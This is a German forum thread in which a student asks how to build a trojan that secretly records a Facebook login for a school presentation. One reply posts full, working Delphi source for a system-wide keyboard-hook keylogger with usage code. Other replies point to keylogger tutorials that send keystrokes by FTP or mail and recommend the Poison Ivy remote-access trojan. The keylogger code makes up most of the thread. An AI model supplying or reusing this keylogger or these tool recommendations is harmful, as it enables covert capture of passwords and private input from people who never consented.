|
You last visited: Today at 22:00
Advertisement
Trojaner(ähnliches) Programm
Discussion on Trojaner(ähnliches) Programm within the General Coding forum part of the Coders Den category.
10/29/2012, 16:16
|
#1
|
elite*gold: 86
Join Date: Apr 2011
Posts: 5,640
Received Thanks: 1,505
|
Trojaner(ähnliches) Programm
Moin,
ich habe morgen oder für nächste Woche ein Referat im ITG. Ich habe das Thema 'Trojaner'. Wir sollten uns nur über das generelle befassen - nicht wie man einen Trojaner schreibt. Begleiten soll mich eine Powerpoint Präsentation. Ich würde gerne als Video ein direktes Beispiel von einer Trojaner'falle' via E-Mail in die Präsentation aufbauen, damit es doch etwas einsichtiger wird. Jedenfalls würde ich mich beispielsweise ganz normal auf facebook einloggen und dabei würde ein anderes Programm (also der Trojaner) alles aufzeichnen. Ist es möglich, dass man einen "eigenen Trojaner" auf seinem PC entwickeln kann? Wenn ja, ist es kompliziert oder schnell gemacht? Und wenn das geht, wäre eine ungefähre Anleitung sehr nett.
MfG
|
|
|
10/29/2012, 16:31
|
#2
|
elite*gold: 106
Join Date: Jun 2010
Posts: 2,256
Received Thanks: 3,867
|
Such nach nem einfachen Tutorial für nen Keylogger, davon gibts auf YT genug. Damit kannste dann "live" zeigen, wie er die Tastenschläge loggt und dann sendet (ftp oder mail).
Dazu vllt noch das Fensterhandle in dem man tippt.
Einfach mal in YT schauen.
|
|
|
10/29/2012, 22:05
|
#3
|
elite*gold: 1329
Join Date: Jun 2009
Posts: 1,873
Received Thanks: 960
|
Quote:
Originally Posted by .Crowd
Ist es möglich, dass man einen "eigenen Trojaner" auf seinem PC entwickeln kann? Wenn ja, ist es kompliziert oder schnell gemacht?
|
Wo denn sonst?
Natürlich setzt das voraus, dass du programmieren kannst.
Einen Keylogger nach Youtube Anleitung zu machen ist die eine Seite, aber kannst du auch erklären, wie er funktioniert? Ich denke, dein Lehrer würde eben dies auch gerne wissen.
Und da du solche Fragen stellst, denke ich nicht, dass du programmieren kannst, oder dass du sowas einfach erklären kannst.
Du solltest also evtl. rumfragen, ob das jemand coden kann und dir den Quelltext gut auskommentiert geben kann, evtl. als Ansprechperson dient.
Sicherlich wäre eine kleine Bezahlung fällig, aber evtl kannst du da ja eine Gegenleistung bieten - du machst ja u.a. Grafiken^^
|
|
|
10/31/2012, 22:49
|
#4
|
elite*gold: 0
Join Date: Jun 2012
Posts: 187
Received Thanks: 58
|
Ein Keylogger, genauer gesagt der Code der eine Klasse in Delphi erzeugt, die man anhand der public-funktionen sehr leicht benutzen kann. Keine Ahnung warum ich das noch im Projects Ordner liegen hab, ist von 2007, funktioniert (getestet) aber mit Windows 7.
Code:
unit KeyLogger;
interface
uses
Windows, Contnrs, SysUtils;
type
PKbdLlHookStruct = ^TKbdLlHookStruct;
TKbdLlHookStruct = record
vkCode : DWORD;
ScanCode : DWORD;
Flags : DWORD;
Time : DWORD;
dwExtraInfo: Cardinal;
end;
type
TKeyState = (ksUndefined, ksUp, ksDown);
type
TOnKeyPress = procedure(Sender: TObject; Key: Char) of object;
TOnKeyStateChange = procedure(Sender: TObject; vkCode: Word; State: TKeyState) of object;
type
TKeyLogger = class
private
FOnKeyPress: TOnKeyPress;
FOnKeyStateChange: TOnKeyStateChange;
protected
procedure Logging(pHookData: PKbdLlHookStruct; var DiscardInput: Boolean); virtual;
public
constructor Create; virtual;
destructor Destroy; override;
property OnKeyPress: TOnKeyPress read FOnKeyPress write FOnKeyPress;
property OnKeyStateChange: TOnKeyStateChange read FOnKeyStateChange write FOnKeyStateChange;
end;
function InstallHook: Boolean;
function UninstallHook: Boolean;
function HookInstalled: Boolean;
function DisplayVKey(const vkCode: Word; const State: TKeyState = ksUndefined): string;
function vkCodeToStr(const vkCode: Word): string;
implementation
const
WH_KEYBOARD_LL = 13;
var
HookHandle: hHook;
Loggers: TObjectList;
LastKeybState: TKeyboardState;
function IsDeadKey(const vkCode: Word): Boolean;
// Prüft auf diakritische Zeichen
begin
Result:= MapVirtualKey(vkCode, 2) and $80000000 <> 0;
end;
function GetKeyboardState: TKeyboardState;
// Ersetzt Windows.GetKeyboardState, da diese ausserhalb der eigenen Anwendung
// scheinbar nicht die korrekten Modifiers liefert
var
I: Integer;
begin
for I:= Low(Result) to High(Result) do Result[I]:= GetKeyState(I);
end;
function IsPrintableKey(const vkCode: Word): Boolean;
begin
Result:= vkCode >= $20;
end;
function vkCodeToChar(const vkCode: Word; out ch1, ch2: Char): Boolean;
var
Buffer: array[0..1] of Char;
begin
Buffer:= #0#0;
if not IsDeadKey(vkCode) then
Result:= ToAscii(vkCode, MapVirtualKey(vkCode, 0), GetKeyboardState, Buffer, 0) > 0
else
Result:= False;
ch1:= Buffer[0];
ch2:= Buffer[1];
end;
function LLKeyboardHookProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
var
pHookData: PKbdLlHookStruct;
DiscardInput: Boolean;
I: Integer;
begin
if (nCode = HC_ACTION) and (lParam <> 0) and Assigned(Loggers) then
begin
pHookData:= PKbdLlHookStruct(lParam);
DiscardInput:= False;
for I:= Pred(Loggers.Count) downto 0 do
begin
TKeyLogger(Loggers[I]).Logging(pHookData, DiscardInput);
if DiscardInput then
begin
Result:= -1;
Exit;
end;
end;
end;
Result:= CallNextHookEx(HookHandle, nCode, wParam, lParam);
end;
function InstallHook: Boolean;
begin
Result:= False;
if HookHandle = 0 then
begin
LastKeybState:= GetKeyboardState;
HookHandle:= SetWindowsHookEx(WH_KEYBOARD_LL, LLKeyboardHookProc, hInstance, 0);
Result:= HookInstalled;
end;
end;
function UninstallHook: Boolean;
begin
Result:= False;
if HookHandle <> 0 then
begin
if UnhookWindowsHookEx(HookHandle) then
begin
HookHandle:= 0;
Result:= not HookInstalled;
end;
end;
end;
function HookInstalled: Boolean;
begin
Result:= HookHandle <> 0;
end;
{ TKeyLogger }
constructor TKeyLogger.Create;
begin
inherited;
if Loggers = nil then
begin
Loggers:= TObjectList.Create;
InstallHook;
end;
Loggers.Add(Self);
end;
destructor TKeyLogger.Destroy;
begin
Loggers.Extract(Self);
if Loggers.Count = 0 then
begin
UninstallHook;
FreeAndNil(Loggers);
end;
inherited;
end;
procedure TKeyLogger.Logging(pHookData: PKbdLlHookStruct; var DiscardInput: Boolean);
const
LLKHF_EXTENDED = KF_EXTENDED shr 8;
LLKHF_INJECTED = $00000010;
LLKHF_ALTDOWN = KF_ALTDOWN shr 8;
LLKHF_UP = KF_UP shr 8;
KeyStates: array[Boolean] of TKeyState = (ksUp, ksDown);
var
ch1, ch2: Char;
KeyDown: Boolean;
StateChange: Boolean;
begin
with pHookData^ do
begin
KeyDown:= Flags and LLKHF_UP = 0;
StateChange:= KeyDown xor (GetKeyState(vkCode) < 0);
if IsPrintableKey(vkCode) and vkCodeToChar(vkCode, ch1, ch2) then
begin
if KeyDown and Assigned(FOnKeyPress) then
begin
if ch1 <> #0 then FOnKeyPress(Self, ch1);
if ch2 <> #0 then FOnKeyPress(Self, ch2);
end;
end else
if StateChange then
begin
if Assigned(FOnKeyStateChange) then FOnKeyStateChange(Self, vkCode, KeyStates[KeyDown]);
end;
end;
end;
function DisplayVKey(const vkCode: Word; const State: TKeyState = ksUndefined): string;
begin
case State of
ksUndefined: Result:= '?' + vkCodeToStr(vkCode);
ksUp : Result:= '-' + vkCodeToStr(vkCode);
ksDown : Result:= '+' + vkCodeToStr(vkCode);
end;
end;
function vkCodeToStr(const vkCode: Word): string;
begin
case vkCode of
VK_LBUTTON : Result:= 'LClick';
VK_RBUTTON : Result:= 'RClick';
VK_CANCEL : Result:= 'Cancel';
VK_MBUTTON : Result:= 'MClick';
VK_BACK : Result:= 'Back';
VK_TAB : Result:= 'Tab';
VK_CLEAR : Result:= 'Clear';
VK_RETURN : Result:= 'Return';
VK_SHIFT : Result:= 'Shift';
VK_CONTROL : Result:= 'Ctrl';
VK_MENU : Result:= 'Alt';
VK_PAUSE : Result:= 'Pause';
VK_CAPITAL : Result:= 'Caps Lock';
VK_ESCAPE : Result:= 'Esc';
VK_SPACE : Result:= 'Space';
VK_PRIOR : Result:= 'Pg Up';
VK_NEXT : Result:= 'Pg Down';
VK_END : Result:= 'End';
VK_HOME : Result:= 'Home';
VK_LEFT : Result:= 'Left';
VK_UP : Result:= 'Up';
VK_RIGHT : Result:= 'Right';
VK_DOWN : Result:= 'Down';
VK_SELECT : Result:= 'Select';
VK_PRINT : Result:= 'Print';
VK_EXECUTE : Result:= 'Execute';
VK_SNAPSHOT : Result:= 'Snapshot';
VK_INSERT : Result:= 'Insert';
VK_DELETE : Result:= 'Delete';
VK_HELP : Result:= 'Help';
Ord('0')..Ord('9') : Result:= Chr(vkCode);
Ord('A')..Ord('Z') : Result:= Chr(vkCode);
VK_LWIN : Result:= 'LWin';
VK_RWIN : Result:= 'RWin';
VK_APPS : Result:= 'Apps';
VK_NUMPAD0..VK_NUMPAD9 : Result:= 'NumPad' + Char(vkCode - VK_NUMPAD0 + Ord('0'));
VK_MULTIPLY : Result:= 'Multiply';
VK_ADD : Result:= 'Add';
VK_SEPARATOR : Result:= 'Separator';
VK_SUBTRACT : Result:= 'Subtract';
VK_DECIMAL : Result:= 'Decimal';
VK_DIVIDE : Result:= 'Divide';
VK_F1..VK_F24 : Result:= 'F' + IntToStr(vkCode - VK_F1 + 1);
VK_NUMLOCK : Result:= 'NumLock';
VK_SCROLL : Result:= 'Scroll';
VK_LSHIFT : Result:= 'LShift';
VK_RSHIFT : Result:= 'RShift';
VK_LCONTROL : Result:= 'LCtrl';
VK_RCONTROL : Result:= 'RCtrl';
VK_LMENU : Result:= 'LAlt';
VK_RMENU : Result:= 'RAlt';
VK_PROCESSKEY : Result:= 'ProcessKey';
VK_ATTN : Result:= 'Attn';
VK_CRSEL : Result:= 'CrSel';
VK_EXSEL : Result:= 'ExSel';
VK_EREOF : Result:= 'ErEof';
VK_PLAY : Result:= 'Play';
VK_ZOOM : Result:= 'Zoom';
VK_NONAME : Result:= 'NoName';
VK_PA1 : Result:= 'Pa1';
VK_OEM_CLEAR : Result:= 'Oem Clear';
else
Result:= IntToStr(vkCode);
end;
end;
initialization
{ do nothing }
finalization
if HookInstalled then UninstallHook;
end.
Benutzt wird die Klasse dann so:
Code:
procedure TForm1.LogKeyStateChange(Sender: TObject; vkCode: Word; State: TKeyState);
begin
mmo1.Lines.add(DisplayVKey(vkCode, State));
end;
procedure TForm1.LogKey(Sender: TObject; vkCode: Char);
begin
mmo1.Lines.add(vkCode);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
FKeyLogger:= TKeyLogger.Create;
FKeyLogger.OnKeyStateChange := LogKeyStateChange;
FKeyLogger.OnKeyPress := LogKey;
end;
|
|
|
11/01/2012, 18:56
|
#5
|
elite*gold: 7110
Join Date: Jun 2009
Posts: 28,902
Received Thanks: 25,407
|
Quote:
Originally Posted by coladose
Such nach nem einfachen Tutorial für nen Keylogger, davon gibts auf YT genug. Damit kannste dann "live" zeigen, wie er die Tastenschläge loggt und dann sendet (ftp oder mail).
Dazu vllt noch das Fensterhandle in dem man tippt.
Einfach mal in YT schauen.
|
Genau, empfiehl ihm, seine Präsentation die minderwertigste Malware-Art überhaupt vorstellen zu lassen.
|
|
|
11/02/2012, 02:09
|
#6
|
elite*gold: 2932
Join Date: Oct 2009
Posts: 6,966
Received Thanks: 1,097
|
wenn du es nicht selber programmieren musst sondern nur vor/darstellen willst/sollst dann denke ich ist es am besten mit poisen ivy oder konsorten
einfach zu bedienen, schnell im einsatz und man kann schön alles im remote panel sehen
|
|
|
11/02/2012, 14:30
|
#7
|
elite*gold: 130
Join Date: Jan 2011
Posts: 320
Received Thanks: 31
|
Zu Poisen Ivy gibt es genug Anleitungen (YT) und GUI ist meiner Meinung nach Sehr übersichtlich!
|
|
|
11/03/2012, 22:02
|
#8
|
elite*gold: 106
Join Date: Jun 2010
Posts: 2,256
Received Thanks: 3,867
|
Quote:
Originally Posted by MrSm!th
Genau, empfiehl ihm, seine Präsentation die minderwertigste Malware-Art überhaupt vorstellen zu lassen.
|
Darum geht es ja. Er soll ja eine Live-Show geben. Und KeyLogger sind mitunter am einfachsten zu erklären. Einfacher als jedes RAT....
|
|
|
11/04/2012, 12:15
|
#9
|
elite*gold: 0
Join Date: Jan 2012
Posts: 2,370
Received Thanks: 136
|
Ich glaube so etwas gehört nicht hier ins Forum!
|
|
|
 |
Similar Threads
|
Ähnliches Programm wie RegistryBooster?
09/07/2011 - Technical Support - 1 Replies
Hey,
ich hab heute mal mit RegistryBooster meine Registry checken lassen und naja, da waren paar viele fehler :P
Und mit dem Programm kann man lediglich 15 Probleme beheben.
Kennt ihr freeware die genauso gut ist ?
Mfg,
Br0nx
|
[S]Ähnliches Programm wie Isobuster
08/30/2011 - elite*gold Trading - 3 Replies
Oben stehts, bei Isobuster verlangt er immer das ich nen key kaufen soll.
Gebe bissl egold bei antwort
|
Ähnliches Programm wie AppleWorks
03/11/2011 - Technical Support - 6 Replies
Hi leute,
in Informatik(schule-Wahlpflichtfach) machen wir grade etwas über Datenbanken mit AppleWorks (später mit filemaker)...
Das kommt davon, dass wir alle in der schule nen iMac benutzen.
Ich finde AppleWorks (DB) spitze mit der Grafikoberfläche.
Meine frage ist, gibt es irgend so ein ähnliches Programm (DB) wie bei AppleWorks halt von der Oberfläche auch für windows?
|
ähnliches programm wie after effects
07/04/2010 - Metin2 Private Server - 2 Replies
Hallo
leider geht after effects bei mir nicht wegen 32 bit -.-
könnt ihr mir einen anderen Programm empfehlen (demo) wo ich auch gute Intros machen kann mit vegas gehen keine gute -.-
vielen dank
gute antworten bekommen natürlich thanks
|
Ähnliches Programm wie uTorrent
12/30/2009 - Technical Support - 11 Replies
Hi Leute,
viele von euch kennen bestimmt das Programm uTorrent. Der Downloadspeed von Dateien is ja nich sooooo der Burner (ein paar wissen was ich meine ;'D). Jetz is meine Frage an euch: Gibt es ein Programm mit der selben Funktion das schneller ist ? Thx im Vorraus ^_^
|
All times are GMT +1. The time now is 22:00.
|
|